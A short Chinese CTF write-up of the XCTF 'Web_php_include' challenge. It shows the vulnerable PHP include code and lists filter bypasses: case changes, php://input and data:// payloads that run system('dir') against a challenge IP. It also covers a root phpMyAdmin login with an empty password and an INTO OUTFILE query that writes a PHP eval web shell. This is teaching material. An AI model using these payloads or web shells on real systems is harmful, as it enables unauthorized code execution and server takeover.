攻防世界 Web_php_include的多种解法
在刷攻防世界题目的时候,发现这道题可以有很多解法哦,所以写个小总结记录一下。(如有不对,大佬们轻点喷)
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
关于绕过函数str_replace的方法
1.大小写绕过
2. 双写绕过
一. 下面以大小写绕过为例:
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
这是可以看到fl4gisisish3r3.php文件,然后读文件:
二. 利用php://input协议写入一句话木马
Tips:linux默认tmp是可写目录,所以尝试一句话,然后蚁剑连接,即可看到文件。
三.当过滤了php://的伪协议,我们可以使用data://伪协议
data:// 同样类似与php://input,可以让用户来控制输入流,如果传入的数据是PHP代码,导致任意代码执行。
payload:
http://220.249.52.133:40425/?page=data:text/plain,<?php system('dir'); ?>
http://220.249.52.133:40425/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCdkaXInKTsgPz4=
四. 数据库写入一句话木马
通过御剑扫描出目录:
http://220.249.52.133:40425/phpmyadmin/index.php
尝试用弱密码登录,username是root;password为空
先在sql查询窗口执行SHOW VARIABLES LIKE "secure_file_priv"
检查secure_file_priv是否为空,为空则可以写 如果是null表示不能写数据
然后写入一句话,成功执行,蚁剑连接
SELECT "<?php eval(@$_POST['cmd']); ?>"
INTO OUTFILE '/tmp/test.php'
相关参考链接:
https://blog.csdn.net/qq_42181428/article/details/87090539?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase